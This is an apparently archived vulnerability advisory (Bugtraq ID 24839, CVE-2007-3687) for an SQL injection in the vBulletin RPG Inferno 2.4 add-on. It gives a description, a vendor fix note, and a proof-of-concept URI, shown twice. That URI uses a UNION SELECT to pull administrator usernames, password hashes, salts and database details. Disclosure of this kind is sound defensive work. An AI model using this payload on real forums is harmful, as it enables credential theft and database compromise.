Inferno Technologies VBulletin RPG Inferno Inferno.PHP SQL Injection Vulnerability
BID:24839
Info
Inferno Technologies VBulletin RPG Inferno Inferno.PHP SQL Injection Vulnerability
| Bugtraq ID: | 24839 |
| Class: | Input Validation Error |
| CVE: |
CVE-2007-3687 |
| Remote: | Yes |
| Local: | No |
| Published: | Jul 10 2007 12:00AM |
| Updated: | May 07 2015 05:37PM |
| Credit: | t0pP8uZz & xprog are credited with the discovery of this vulnerability. |
| Vulnerable: |
Inferno Technologies vBulletin RPG Inferno 2.4 |
| Not Vulnerable: | |
Discussion
Inferno Technologies VBulletin RPG Inferno Inferno.PHP SQL Injection Vulnerability
Inferno Technologies vBulletin RPG Inferno is prone to an SQL-injection vulnerability because the application fails to properly sanitize user-supplied input before using it in an SQL query.
A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database.
RPG Inferno 2.4 is vulnerable to this issue.
Inferno Technologies vBulletin RPG Inferno is prone to an SQL-injection vulnerability because the application fails to properly sanitize user-supplied input before using it in an SQL query.
A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database.
RPG Inferno 2.4 is vulnerable to this issue.
Exploit / POC
Inferno Technologies VBulletin RPG Inferno Inferno.PHP SQL Injection Vulnerability
No exploit is required.
An example URI has been provided:
http://www.example.com/forum/inferno.php?do=ScanMember&id=-1'/**/UNION/**/ALL/**/SELECT/**/1,2,3,4,5,6,7,user(),database(),10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,concat(username,0x3a,password,0x3a,salt),31,@@version,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47/**/from/**/user/**/where/**/usergroupid=6/**/limit/**/0,1/*
No exploit is required.
An example URI has been provided:
http://www.example.com/forum/inferno.php?do=ScanMember&id=-1'/**/UNION/**/ALL/**/SELECT/**/1,2,3,4,5,6,7,user(),database(),10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,concat(username,0x3a,password,0x3a,salt),31,@@version,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47/**/from/**/user/**/where/**/usergroupid=6/**/limit/**/0,1/*
Solution / Fix
Inferno Technologies VBulletin RPG Inferno Inferno.PHP SQL Injection Vulnerability
Solution:
The vendor indicates that this issue is fixed in the latest release. Please contact the vendor for information on obtaining and applying the newest version.
Solution:
The vendor indicates that this issue is fixed in the latest release. Please contact the vendor for information on obtaining and applying the newest version.
References
Inferno Technologies VBulletin RPG Inferno Inferno.PHP SQL Injection Vulnerability
References:
References:
- Home Page (Inferno Technologies)